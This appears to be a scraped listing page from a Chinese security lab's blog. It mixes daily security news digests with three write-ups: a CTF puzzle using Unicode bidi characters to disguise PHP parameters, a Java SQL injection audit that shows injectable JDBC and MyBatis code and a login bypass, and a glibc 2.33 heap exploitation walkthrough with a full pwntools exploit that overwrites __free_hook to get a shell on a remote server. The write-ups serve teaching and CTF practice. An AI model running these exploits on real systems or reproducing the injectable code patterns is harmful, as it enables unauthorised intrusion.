眼见不为实的show_source
https://www.yijinglab.com/pages/CTFLaboratory.jsp前言 最近,Err0r师傅把他们新生赛的赛题源码甩给我,我直接点开ezphp,发现这题很巧妙,题目源码不长,并且很有意思!这里面涉及到的知识点在之前也是比较少接触到的。因此,这篇文章将会对这道题从解题再到原理剖析逐步深入。 解题尝试 首先,题目源码在网页中打开是这样的 当一个Web方向的CTFer初步审计完源代码后,一定会觉得,这道题怎么这么简单,不就传两个参数就能输出flag了嘛 所以,Web手在初步审计完这道题之后,就会毫不犹豫地打出自己的一个payload(包括我): ?username=admin&password=s3cctf 这个时候Web手就纳闷了,命名传参都是对的怎么不输出flag呢? 经过仔细地查看题目后就会发现,这源代码眼见不为实! 我明明只选中了s3c到pass的部分,怎么后面注释的部分也被选中了? 这里面可能会有一些蹊跷? 于是下定决心审计一下源代码 这一看,发现浏览器渲染的和源代码有出入。原本$_GET后面是[password],怎么这后面变成了CTF了呢? 审计源代码可能对解题也没有什么帮助,那么就把源码复制下来之后看看 复制下来之后打开,和浏览器解析的做一个比较 好家伙,这个时候浏览器解析的和用sublime打开的又不一样了 注释后面的CTF跑到了前面的s3cctf中去了,两个&&符号之间又多了奇奇怪怪的符号 因此浏览器和sublime都不能相信了,只能把文件用winhex打开才相对最可信 用winhex打开如下: 在这里我们就能看出变量名以及我们要传的参数值到底是什么了 其中需要的参数值如下: 也就是: E2 80 AE E2 81 A6 43 54 46 E2 81 A9 E2 81 A6 73 33 63 63 74 66 而变量名为: E2 80 AE E2 81 A6 53 33 63 E2 81 A9 E2 81 A6 70 61 73 73 77 6F 72 64 因此将其进行URL编码后传参: ?username=admin&%E2%80%AE%E2%81%A6%53%33%63%E2%81%A9%E2%81%A6%70%61%73%73%77%6F%72%64=%E2%80%AE%E2%81%A6%43%54%46%E2%81%A9%E2%81%A6%73%33%63%63%74%66 即可得到flag: 那么这道题究竟是怎么出的?原理是什么?接下来的篇幅将会进行分析! 原理剖析 在探究原理之前,我们先要有一双善于发现异常的眼睛 除了上面提到的一个异常(选中部分字符,其余未被选中的字符也被选中了),其实还有两个异常点。 第三行注释行的HelloCTFer也有异常 我们将其进行选中 明明选中了//到CTF的部分,中间的Hello却没有被选中 我们再换个姿势进行选中 明明只选中了// He的部分,后面的CTFer 却也被选中了 因此我们可以确定,在//后面一定有特殊的字符,使得原本应该在Hello前面的CTFer显示在了后面。 第四行最后的注释S3cCTF颜色有问题 同样,如果仔细观察第四行的注释部分也会发现显示有点问题 这里的代码都是通过show_source函数进行打印的,而show_source函数在高亮源代码的时候,其代码颜色是按照php.ini中的设置来的。 也就是说,在注释后面的蓝色S3c本身应该属于前面password中的内容,而后面的CTF同样也应该是属于前面s3cctf中的内容 那么究竟是哪些神秘的字符导致这样的现象呢? 同样我们还是打开winhex 我们先查看比较短的// HelloCTFer注释行,对其进行分析。 内容如下: 2F 2F 20 E2 80 AE E2 81 A6 43 54 46 65 72 E2 81 A9 E2 81 A6 48 65 6C 6C 6F 我们将其稍作拼接,将可见的ASCII码字符拼接在一起 拼接之后的内容如下: 2F2F20 E280AEE281A6 4354466572 E281A9E281A6 48656C6C6F 稍作分析,对应的内容就是这样: 我们再对特殊字符进行分析,发现这个特殊字符应该是三个字节三个字节分开的 所以这里面一共出现了三组三个字节的编码分别是:E280AE、E281A6、E281A9 接下来对这三个特殊字符进行分析: E280AE 对于这个特殊字符,它是Unicode编码U+202E转UTF-8对应的十六进制编码 它的名字叫做从右往左强制符 在unicode-table.com网站中对其介绍如下: 它的作用就是:根据内存顺序从右至左显示字符 我们可以写一个Python小脚本,来看看这个字符是怎么颠覆我们的认知的。 if __name__ == "__main__":    print("Hello" + u"\u202e" + "World") 输出结果如下: 可以看到,后面的World变成了dlroW,并且当我们选中的H到r字符时,后面的oW却被选中了 E281A6 对于这个特殊字符,它的Unicode编号为:U+2066 外网上对这个字符作用描述是: 说人话就是:这之间的字符从左到右显示,不影响外围字符 E281A9 这个字符的Unicode编号为:U+2069 它的作用其实就是:作为RLI、LRI、FSi翻转结束的标识 这个时候我们再把上面的HelloCTFer拿出来进行分析: 我们就可以知道那段注释行的原理 原理就如下图所示 浏览器进行解析的时候,自然是按照上方十六进制的顺序进行解析,但是解析并不代表着输出,浏览器的输出结果需要根据底层字符的含义进行输出,当浏览器看到E280AE时,就知道后面的字符需要从右到左显示,而解析到E281A6时,浏览器就会知道将后面的字符从左往右输出,也就是CTFer输出结果仍然为CTFer而不是reFTC。当浏览器按照这样的规则把Hello解析完成之后,便会根据E280AE的从右往左输出的原则,将CTFer与Hello两个交换顺序,最终我们在浏览器中看到的结果便是HelloCTFer。 即使输出的结果是HelloCTFer,符合我们的认知,但是当我们用鼠标进行拖动的时候,电脑还是会那么贴心的帮我们把特殊符号加上,导致我们拖动Hello的时候,CTFer也被选中了 参考资料 https://www.w3.org/International/questions/qa-bidi-unicode-controls https://unicode-table.com/cn/202E/ https://unicode-table.com/cn/2066/ https://unicode-table.com/cn/2069/
网络安全日报 2021年12月07日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、恶意 KMSPico激活工具窃取用户加密货币钱包 https://thehackernews.com/2021/12/malicious-kmspico-windows-activator.html 2、 Zoho ManageEngine 一个新的高危漏洞正被积极利用 https://thehackernews.com/2021/12/warning-yet-another-zoho-manageengine.html 3、Nobelium APT 组织以法国组织为目标 https://securityaffairs.co/wordpress/125342/apt/nobelium-targets-french-orgs.html 4、330 家 SPAR 商店遭网络攻击后关闭或改用现金支付 https://securityaffairs.co/wordpress/125334/uncategorized/spar-stores-cyberattack.html 5、Kafdrop 漏洞可导致 Kafka 集群数据在线泄露 https://www.helpnetsecurity.com/2021/12/06/kafdrop-flaw/ 6、开源论坛软件 NodeBB 存在 RCE高危漏洞 https://portswigger.net/daily-swig/critical-vulnerabilities-in-open-source-forum-software-nodebb-could-lead-to-rce 7、挖矿工具Tor2mine变种将带来更大的威胁 https://cyware.com/news/tor2mine-cryptominer-evolves-to-pose-a-bigger-threat-31446d09 8、网络犯罪分子发送垃圾邮件分发RedLine木马 https://www.bleepingcomputer.com/news/security/malicious-excel-xll-add-ins-push-redline-password-stealing-malware/ 9、Twitter 删除了 3400 个用于政府宣传活动的帐户 https://www.bleepingcomputer.com/news/security/twitter-removes-3-400-accounts-used-in-govt-propaganda-campaigns/ 10、美国9名官员的iPhone遭到NSO Group间谍软件入侵 https://www.securityweek.com/pegasus-maker-probes-reports-its-spyware-targeted-us-diplomats
网络安全日报 2021年12月06日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、研究人员在九款无线路由器中发现了 226 个漏洞 https://www.securityweek.com/researchers-find-226-vulnerabilities-nine-wi-fi-routers 2、CISA 向联邦机构通报日立能源产品中的漏洞 https://www.securityweek.com/cisa-informs-organizations-about-vulnerabilities-hitachi-energy-products 3、BadgerDAO DeFi 平台被盗取 1.2 亿美元加密货币 https://securityaffairs.co/wordpress/125242/cyber-crime/badgerdao-defi-platform-hack.html 4、Emotet木马通过伪造的Adobe软件安装包进行传播 https://www.2-spyware.com/emotet-trojan-returned-after-the-takedown-detected-in-japan 5、洛杉矶计划生育协会40万名患者的个人信息遭泄露 https://www.latimes.com/california/story/2021-12-01/data-breach-planned-parenthood-los-angeles-patients 6、研究人员发现了14种新的浏览器数据窃取攻击 https://www.bleepingcomputer.com/news/security/researchers-discover-14-new-data-stealing-web-browser-attacks/ 7、谷歌推出Python包安全审计工具-"Pip-audit" https://portswigger.net/daily-swig/pip-audit-google-backed-tool-probes-python-environments-for-vulnerable-packages 8、网络犯罪分子利用深度伪造技术进行网络钓鱼 https://www.govinfosecurity.com/deepfakes-voice-impersonators-used-in-vishing-as-a-service-a-18050 9、网络安全公司SEON 发布了《全球网络犯罪报告》 https://www.freebuf.com/articles/network/306215.html 10、美国发布航空公司和铁路网络安全命令 https://www.infosecurity-magazine.com/news/cybersecurity-directive-airlines/
网络安全日报 2021年12月03日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、CISA 敦促各机构在规定时间修补 Zoho、高通和 Mikrotik 漏洞 https://www.securityweek.com/cisa-adds-zoho-qualcomm-mikrotik-flaws-must-patch-list 2、NSS 密码库中的高危漏洞影响多个应用 https://www.securityweek.com/critical-flaw-nss-cryptographic-library-affects-several-popular-applications 3、俄互联网监管机构 Roskomnadzor 禁止六个 VPN 服务 https://securityaffairs.co/wordpress/125224/laws-and-regulations/russia-roskomnadzor-bans-six-vpn-services.html 4、WooCommerce插件漏洞影响8W个WordPress站点 https://threatpost.com/retail-woocommerce-sites-plugin-xss-bug/176704/ 5、Aberebot恶意软件新变种针对银行和加密钱包 https://www.govinfosecurity.com/report-aberebot-20-hits-banking-apps-crypto-wallets-a-18031 6、研究人员警告伊朗用户注意短信网络钓鱼活动 https://thehackernews.com/2021/12/researchers-warn-iranian-users-of.html 7、谷歌浏览器中的释放后使用漏洞可导致代码执行 https://blog.talosintelligence.com/2021/12/vuln-spotlight-chrome-.html 8、英国工党披露勒索软件攻击后数据泄露 https://www.bleepingcomputer.com/news/security/uk-labour-party-discloses-data-breach-after-ransomware-attack/ 9、欧洲刑警组织在EMMA 7行动中逮捕1803名洗钱犯 https://www.bleepingcomputer.com/news/legal/europol-18k-money-mules-caught-laundering-money-from-online-fraud/ 10、注册300多万个微信账号,山东警方打掉“卖号”团伙 https://www.cnbeta.com/articles/tech/1209213.htm
网络安全日报 2021年12月02日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、VirusTotal 推出"Collections"以简化 IoC 共享 https://www.securityweek.com/virustotal-introduces-collections-simplify-ioc-sharing 2、Sabbath勒索软件以美国和加拿大的关键基础设施为目标 https://securityaffairs.co/wordpress/125154/cyber-crime/sabbath-ransomware.html 3、FBI 培训文件揭示了可以从加密通讯应用中提取哪些数据 https://securityaffairs.co/wordpress/125176/security/encrypted-messaging-apps-data-access.html 4、越来越多的黑客在网络钓鱼攻击中使用 RTF 模板注入技术 https://thehackernews.com/2021/12/hackers-increasingly-using-rtf-template.html 5、Twitter禁止未经许可发布他人照片和视频 https://thehackernews.com/2021/11/twitter-bans-users-from-posting-private.html 6、APT37 使用 Chinotto 恶意软件攻击韩国知名人士 https://cyware.com/news/apt37-targets-south-korean-notables-with-chinotto-malware-d4aa8d16 7、Symfony PHP 框架中发现Web 缓存中毒漏洞 https://portswigger.net/daily-swig/web-cache-poisoning-bug-discovered-in-symfony-php-framework 8、Sabbath勒索软件团伙多次更名以逃避检测 https://www.infosecurity-magazine.com/news/ransomware-rebrands-multiple-times/ 9、分析表明儿童智能手表的隐私安全不容乐观 https://securityaffairs.co/wordpress/125155/hacking/opera-turbo-servers-flaw.html 10、 俄亥俄州DNA诊断中心数据泄露影响210万用户 https://www.securityweek.com/21-million-people-affected-breach-dna-testing-company
通过某大学生的的毕业设计复习java-sql审计
sql注入原理:业务端代码从客户端接收到恶意payload之后没有进行过滤直接进行sql语句拼接并且执行造成sql注入 本人正在拜读一本代码审计的书感觉非常的棒,刚刚好室友在挑战自己,就顺便整理一下知识点! 1.原生jdbc连接无过滤造成sql注入 我们看下面这段代码,首先从客户端接收传进来的id的值拼接成sql语句,然后Statement去编译拼接的sql语句,将结果传给rs之后读出,这里没有对传进来的值进行任何过滤,尝试去构造sql语句造成注入 String sql = "select * from user where id ="+req.getParameter("id");        PrintWriter out = resp.getWriter();        out.println("Statement Demo");        out.println("SQL: "+sql);        try {            Statement st = conn.createStatement();            ResultSet rs = st.executeQuery(sql);            while (rs.next()){                out.println("<br>Result: "+ rs.getObject("name"));           }       } catch (SQLException throwables) {            throwables.printStackTrace();       } 正常访问 构造测试payload进行测试,可以看到这边是执行了构造过的payload,返回了开发者不想让我们看到的内容 2.原生jdbc预编译开发失误导致sql注入 上面第一种存在sql注入的情况是因为每次执行都会将sql语句进行编译在数据库中执行,为了防止sql注入,可以使用prepareStatement进行预编译sql语句,使用?占位符来传可改变的值,但是因为sql语句已经编译过,所以按道理来说这里传进来的值只会被当作字符串数据处理不作为sql语句的一部分,传进来的值不参与编译也就是不会在sql里执行,但是开发者也可能出错就是在使用prepareStatement时仍然使用sql拼接而不是用占位符或者在预编译之后再次执行sql语句! 我们首先看一下不存在sql注入的代码,使用问号占位符,预编译sql语句,从下面第二张图可以看到这时候sql语句是一个问号而我们传进去的值不在数据库中运行并且没有返回结果的!可以比较好的防止sql注入,这时候我们来讲讲为什么预编译可以防止sql注入,当我们sql执行的时候大致会经历几个阶段分别是编译--优化--缓存--执行,当使用prepareStatement时,他是将上述的步骤已经执行过了,将结果放到了缓存当中,用户的输入只作为数据进行填充而不是sql的一部分,然后服务器从缓存中获得已经编译之后的语句,替换掉用户输入的数据执行以达到防止sql注入的目的! String sql = "select * from user where id = ?";        PrintWriter out = resp.getWriter();        out.println("prepareStatement Demo");        out.println("SQL: "+sql);        try {            PreparedStatement pst = conn.prepareStatement(sql);            pst.setString(1,req.getParameter("id"));            ResultSet rs = pst.executeQuery();            while (rs.next()){                out.println("<br>Result: "+ rs.getObject("id"));           } 看了安全代码,我们看以下预编译依旧存在问题的代码 虽然使用预编译但是sql语句依旧是拼接的!就会造成sql注入,看第一行,开发者忘记使用占位符导致sql语句依旧是拼接进去的    String sql = "select * from user where id ="+req.getParameter("id");        PrintWriter out = resp.getWriter();        out.println("prepareStatement Demo");        out.println("SQL: "+sql);        try {            PreparedStatement pst = conn.prepareStatement(sql);            ResultSet rs = pst.executeQuery();            while (rs.next()){                out.println("<br>Result: "+ rs.getObject("id"));           }       } catch (SQLException throwables) {            throwables.printStackTrace();       } 3.分析mybatis框架类sql注入的情况 使用mybatis的好处是将sql整合到一个地方避免代码中出现大量的sql语句并且其接近原生sql。比较灵活,但是当xml里的sql语句是用$做占位符时,sql语句依旧是拼接而成的,这时候便会存在sql注入 select * from user1 where name = ${name} 下图可以看到传进来的值已经被执行了 4.审计室友的毕业设计 搭好室友的毕业设计之后,简单看了一下,这是一个商城后台管理系统,SSM框架的,然后找了一下入口点,发现只有登录界面是开放的入口。其他的地方权限都做了token验证,然后看他登录是怎么写的 @RequestMapping("/login")    public String login(User user)   {        if (userService.login(user)==1)       {            return "head";       }        else {            return "login";       }   } 看看上面写的,就很简单粗暴,然后就跟进去看server层里看看写了什么判断逻辑没有。  @Override    public int login(User user) {        return userMapper.login(user);   } 看了一下也没问题,继续往下走,发现室友mybatis里的sql全部是使用$拼接的!这不就成了么 <!--    登陆验证-->    <select id="login" parameterType="user" resultType="java.lang.Integer">        select count(*)        from user        where user_name = '${userName}'          and password = '${password}'    </select> 根据一开始controller里写的,是判断返回值等于1,然后就可以登录后台,这时候就可以构造sql让返回值等于1! 然后他所有的sql都是使用$,存在大量的sql注入,以此说明了读书还是要认真!不要老听老头过时的技术!自己要有思考!
网络安全日报 2021年12月01日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、Opera 修复了Turbo服务器中的一个漏洞 https://securityaffairs.co/wordpress/125155/hacking/opera-turbo-servers-flaw.html 2、360 Netlab发现新的 EwDoor 僵尸网络针对 AT&T 客户 https://securityaffairs.co/wordpress/125143/cyber-crime/ewdoor-botnet.html 3、150 种型号的HP打印机受"Printing Shellz"漏洞影响 https://securityaffairs.co/wordpress/125140/hacking/printing-shellz-flaws-hp-printer-models.html 4、攻击者通过 Google Play 分发恶意软件感染超过 30 万设备 https://securityaffairs.co/wordpress/125127/malware/4-banking-trojans-google-play.html 5、WIRTE 黑客组织针对中东的政府、法律、金融实体 https://thehackernews.com/2021/11/wirte-hacker-group-targets-government.html 6、澳大利亚CS Energy公司遭到勒索软件攻击 https://esdnews.com.au/breaking-cs-energy-hit-by-ransomware-attack/ 7、暗网市场Cannazon遭到DDoS攻击后关闭 https://www.bleepingcomputer.com/news/security/dark-web-market-cannazon-shuts-down-after-massive-ddos-attack/ 8、收集用户数据“透明度”过低,苹果、谷歌遭意大利巨额罚款 https://securityaffairs.co/wordpress/125056/laws-and-regulations/italys-antitrust-fined-google-apple.html 9、新墨西哥True Health公司的医疗数据被泄露 https://www.databreachtoday.com/medical-data-exposed-in-breach-at-true-health-new-mexico-a-18001 10、APT-Q-12:针对贸易行业的情报刺探活动 https://mp.weixin.qq.com/s/Hzq4_tWmunDpKfHTlZNM-A
前沿版本2.33下的堆任意地址申请
前言 今天(2021.11.28)NCTF的题目让我大开眼界,上来最低利用版本都是2.31,新生都如此生猛了吗,由于我比较菜只搞定了这个ezheap,2.33版本的题目我也是第一次做,花了1个小时fuzz出了这个玩意是异或加密然后又花了30多分钟去理顺逻辑,算是收获满满吧 由于这个2.33的利用我在网上并没有看见有文章发布,我就写一下供各位pwn学习参考。 前置知识 UAF,异或加密,hook利用 版本新增保护介绍 2.33版本的glibc不同于以往,对于堆块地址的释放之后,对于同一大小的fastbin以及tcache有效的fd永远只有一个,剩余的bin照旧。 对于2.33版本下对于fastbin以及tcache的fd指针会被进行异或操作加密,用来异或的值随堆地址发生改变。 举例利用 例题:NCTF2021 ezheap 漏洞分析 如下存在UAF漏洞,对于heap的size位置零,但是指针未置零,可以造成堆复用 tips:可以利用glibc-all-in-one配合patchelf来建立题目的运行环境 命令如下 patchelf --set-interpreter ./glibc-all-in-one/libs/2.33-0ubuntu5_amd64/ld-2.33.so --set-rpath ./glibc-all-in-one/libs/2.33-0ubuntu5_amd64 ezheap再说点骚操作,题目一般只给libc没有ld,可以直接把all in one的libc替换成题目给的,然后再去patchelf就可以使用上题目的libc了 低于2.33常规思路攻击 通常的思路就是先free一次但是heaparry指针保留,再申请回来就有一个新的指针指向同一个地址,直接uaf任意地址申请,attack free hook 梭哈getshell 2.33绕过方法 First 堆地址的泄露 首先申请两个chunk,然后直接free掉,此时这两个堆的fd位置的内容如下 0x5569374d8290: 0x0000000000000000 0x0000000000000091 0x5569374d82a0: 0x00000005569374d8 0x00005569374d8010 0x5569374d82b0: 0x0000000000000000 0x0000000000000000 0x5569374d82c0: 0x0000000000000000 0x0000000000000000 0x5569374d82d0: 0x0000000000000000 0x0000000000000000 0x5569374d82e0: 0x0000000000000000 0x0000000000000000 0x5569374d82f0: 0x0000000000000000 0x0000000000000000 0x5569374d8300: 0x0000000000000000 0x0000000000000000 0x5569374d8310: 0x0000000000000000 0x0000000000000000 0x5569374d8320: 0x0000000000000000 0x0000000000000091 0x5569374d8330: 0x0000556c61def678 0x00005569374d8010 由于UAF漏洞的存在,直接泄露出chunk0和chunk1的fd,然后进行异或操作我们可以得到 heap:0x5569374d82a0 也就是此时chunk0的content addr,这个地址我们先记录下来 (由于我脚本是分多次启动打断点调试,数据不是同一批,具体可以自己去用脚本去调试) Second 获取某个堆块的对应的异或key值 我们继续进行,假设我们已经填充好了tcache并且释放了一个chunk进入了unsortedbin,目前的heap如下 pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x5650e8eb5000 Size: 0x291 Allocated chunk | PREV_INUSE Addr: 0x5650e8eb5290 Size: 0x91 Allocated chunk | PREV_INUSE Addr: 0x5650e8eb5320 Size: 0x91 Allocated chunk | PREV_INUSE Addr: 0x5650e8eb53b0 Size: 0x91 Allocated chunk | PREV_INUSE Addr: 0x5650e8eb5440 Size: 0x91 Allocated chunk | PREV_INUSE Addr: 0x5650e8eb54d0 Size: 0x91 Allocated chunk | PREV_INUSE Addr: 0x5650e8eb5560 Size: 0x91 Free chunk (tcache) | PREV_INUSE Addr: 0x5650e8eb55f0 Size: 0x91 fd: 0x56558de5dbc5 Free chunk (unsortedbin) | PREV_INUSE Addr: 0x5650e8eb5680 Size: 0x91 fd: 0x7f95da868c00 bk: 0x7f95da868c00 Allocated chunk Addr: 0x5650e8eb5710 Size: 0x90 Top chunk | PREV_INUSE Addr: 0x5650e8eb57a0 Size: 0x20861 bin状态如下 pwndbg> bin tcachebins 0x90 [  7]: 0x5650e8eb5600 ◂— 0x56558de5dbc5 fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x5650e8eb5680 —▸ 0x7f95da868c00 (main_arena+96) ◂— 0x5650e8eb5680 smallbins empty largebins empty 此时用第一步方法得到的堆地址是 0x5650e8eb52a0 然后为了形成堆复用,我们会再去add一个0x90的chunk,此时的heaparry如下 pwndbg> x/32gx 0x40a0+0x5650e8348000 0x5650e834c0a0: 0x00005650e8eb52a0 0x00005650e8eb5330 0x5650e834c0b0: 0x00005650e8eb53c0 0x00005650e8eb5450 0x5650e834c0c0: 0x00005650e8eb54e0 0x00005650e8eb5570 0x5650e834c0d0: 0x00005650e8eb5600 0x00005650e8eb5690 0x5650e834c0e0: 0x00005650e8eb5720 0x00005650e8eb5600 接着我们可以看下当前的bin情况如下 pwndbg> bin tcachebins 0x90 [  6]: 0x5650e8eb5570 ◂— 0x56558de5da55 我们刚才泄露的地址是 0x5650e8eb52a0 现在tc最新的地址是 0x5650e8eb5570 我们现在可以得到key值就是key=0x5650e8eb5570^0x5650e8eb52a0=0x5650e8f25 上面我也提到了这个key是变化的,因此我们还要爆破下,但是爆破是可以找到范围的,我们可以利用常规的错误打法 先看看泄露的key和需要的key的一个偏移(很好玩的是这个偏移也是随机的) 我们再来一次之前的操作然后得到的最新的泄露key是0x5612a9a54 我们看看错误的bin如下 pwndbg> bin tcachebins 0x90 [  6]: 0x7f8b1b63e5e4 正确的free hook地址:0x7f8e7a497e20 libc_key=0x7f8e7a497e20^0x7f8b1b63e5e4=0x5612a9bc4 hex(0x5612a9bc4-0x5612a9a54)=0x170 我试了很多次的调试,libc_key有0x170,-0x170,0x190,-0x190当然实际情况实际调试,只要调试出来的值就是有可能的偏移 最后把free_hook^libc_key=encrypto_free_hook 然后常规套路直接getshell exp from pwn import * r=process('./ezheap') #r=remote('129.211.173.64',10002) #libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') libc=ELF('libc-2.33.so') #context.log_level='debug' def add(size,con): r.sendlineafter(">> ",'1') r.sendlineafter("Size: ",str(size)) r.sendlineafter("Content: ",con) def edit(idx,con): r.sendlineafter(">> ",'2') r.sendlineafter("Index: ",str(idx)) r.sendafter("Content: ",con) def show(idx): r.sendlineafter(">> ",'4') r.sendlineafter("Index: ",str(idx)) def dele(idx): r.sendlineafter(">> ",'3') r.sendlineafter("Index: ",str(idx)) flag=1 while flag: #r=process('./ezheap') r=remote('129.211.173.64',10002) for i in range(9): add(128,'1') dele(0) show(0) he0=u64(r.recv(6)+b'\x00'*2) print(hex(he0)) dele(1) show(1) he1=u64(r.recv(6)+b'\x00'*2) print(hex(he1)) heap=he0^he1 print("heap:"+hex(heap)) #gdb.attach(r) for i in range(2,8): dele(i) show(5) he=u64(r.recv(6)+b'\x00'*2) print(hex(he)) show(6) he6=u64(r.recv(6)+b'\x00'*2) print(hex(he6)) show(7) base=u64(r.recv(6)+b'\x00'*2)-0x1e0c00 print(hex(base)) #gdb.attach(r) free_hook=base+libc.sym["__free_hook"] print(hex(free_hook)) sys=base+libc.sym['system'] add(128,'') tagerheap=heap+0x2d0 print("target heap:"+hex(tagerheap)) tagerheap_key=tagerheap^he print("target heap_key:"+hex(tagerheap_key)) libc_key=tagerheap_key+0x170 print("target libc_key:"+hex(libc_key)) #gdb.attach(r) dele(6) edit(9,p64(free_hook^libc_key)+b'\n') add(128,'/bin/sh\x00') add(128,'1') edit(11,p64(sys)+b'\n') #gdb.attach(r) dele(6) r.sendline("ls") a=r.recv() if b'bin' in a: r.interactive() print(a) flag=0 else: r.close() 题目附件下载链接 链接:https://pan.baidu.com/s/1YKqJOuGZrueLCkKxFwu2bA 提取码:urk1
网络安全日报 2021年11月30日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、Zoom发布安全补丁修补高危漏洞 https://www.securityweek.com/project-zero-flags-high-risk-zoom-security-flaw 2、CISA 发布关于保护企业移动设备的指南 https://www.securityweek.com/cisa-releases-guidance-securing-enterprise-mobile-devices 3、最近修补的 Apache HTTP 服务器漏洞在攻击中被利用 https://www.securityweek.com/recently-patched-apache-http-server-vulnerability-exploited-attacks 4、制药公司 Supernus Pharmaceuticals 遭Hive勒索攻击和数据泄露 https://www.securityweek.com/ransomware-operators-threaten-leak-15tb-supernus-pharmaceuticals-data 5、松下披露网络攻击和数据泄露 https://securityaffairs.co/wordpress/125114/data-breach/panasonic-data-breach.html 6、黑客冒充金融机构针对美国Zelle手机应用用户 https://cyware.com/news/the-rise-in-banking-scams-zelle-fraud-and-other-threats-a9a36977 7、黑客利用不安全的Google Cloud账户挖矿并部署勒索软件 https://thehackernews.com/2021/11/hackers-using-compromised-google-cloud.html 8、工信部、公安部约谈阿里云和百度云,接入涉诈网站数量居高不下 https://www.miit.gov.cn/xwdt/gxdt/sjdt/art/2021/art_cef918baaec44bc88b6a5b37a0331c00.html 9、部分美国国防承包商极易遭受勒索软件攻击 https://www.helpnetsecurity.com/2021/11/25/defense-contractors-ransomware/ 10、TrickBot网络钓鱼检查屏幕分辨率以逃避研究人员 https://www.bleepingcomputer.com/news/security/trickbot-phishing-checks-screen-resolution-to-evade-researchers/
网络安全日报 2021年11月29日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、与朝鲜有关的APT冒充三星招聘人员进行钓鱼活动 https://securityaffairs.co/wordpress/125071/apt/north-korea-zinc-targets-security-firms.html 2、0patch 发布Windows 0day漏洞非官方补丁 https://securityaffairs.co/wordpress/125061/security/unofficial-patches-cve-2021-24084-zeroday.html 3、代号为HAEICHI-II的国际行动逮捕了1000多名网络犯罪嫌疑人 https://securityaffairs.co/wordpress/125044/cyber-crime/interpol-arrested-1003-individuals.html 4、海事服务提供商SPO遭 CL0P 勒索软件攻击导致公司数据被盗 https://securityaffairs.co/wordpress/125034/cyber-crime/swire-pacific-offshore-clop-ransomware.html 5、 Babadeda 恶意软件针对加密货币和NFT社区 https://securityaffairs.co/wordpress/125025/malware/babadeda-crypter-cryptocurrency-nft.html 6、Resecurity 研究人员在 TP-Link Wi-Fi 6 设备中发现了 0day 漏洞 https://securityaffairs.co/wordpress/125016/hacking/0-day-tp-link-wi-fi-6.html 7、以色列禁止向 65 个国家销售黑客和监视工具 https://thehackernews.com/2021/11/israel-bans-sales-of-hacking-and.html 8、新的Fuzz工具揭示了新的 HTTP 请求走私技术 https://portswigger.net/daily-swig/new-differential-fuzzing-tool-reveals-novel-http-request-smuggling-techniques 9、恶意软件通过YouTube上的免费游戏视频传播 https://blog.malwarebytes.com/scams/2021/11/free-steam-games-videos-promise-much-deliver-malware/ 10、家具零售商宜家的电子邮件系统遭受网络攻击 https://www.bleepingcomputer.com/news/security/ikea-email-systems-hit-by-ongoing-cyberattack/
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 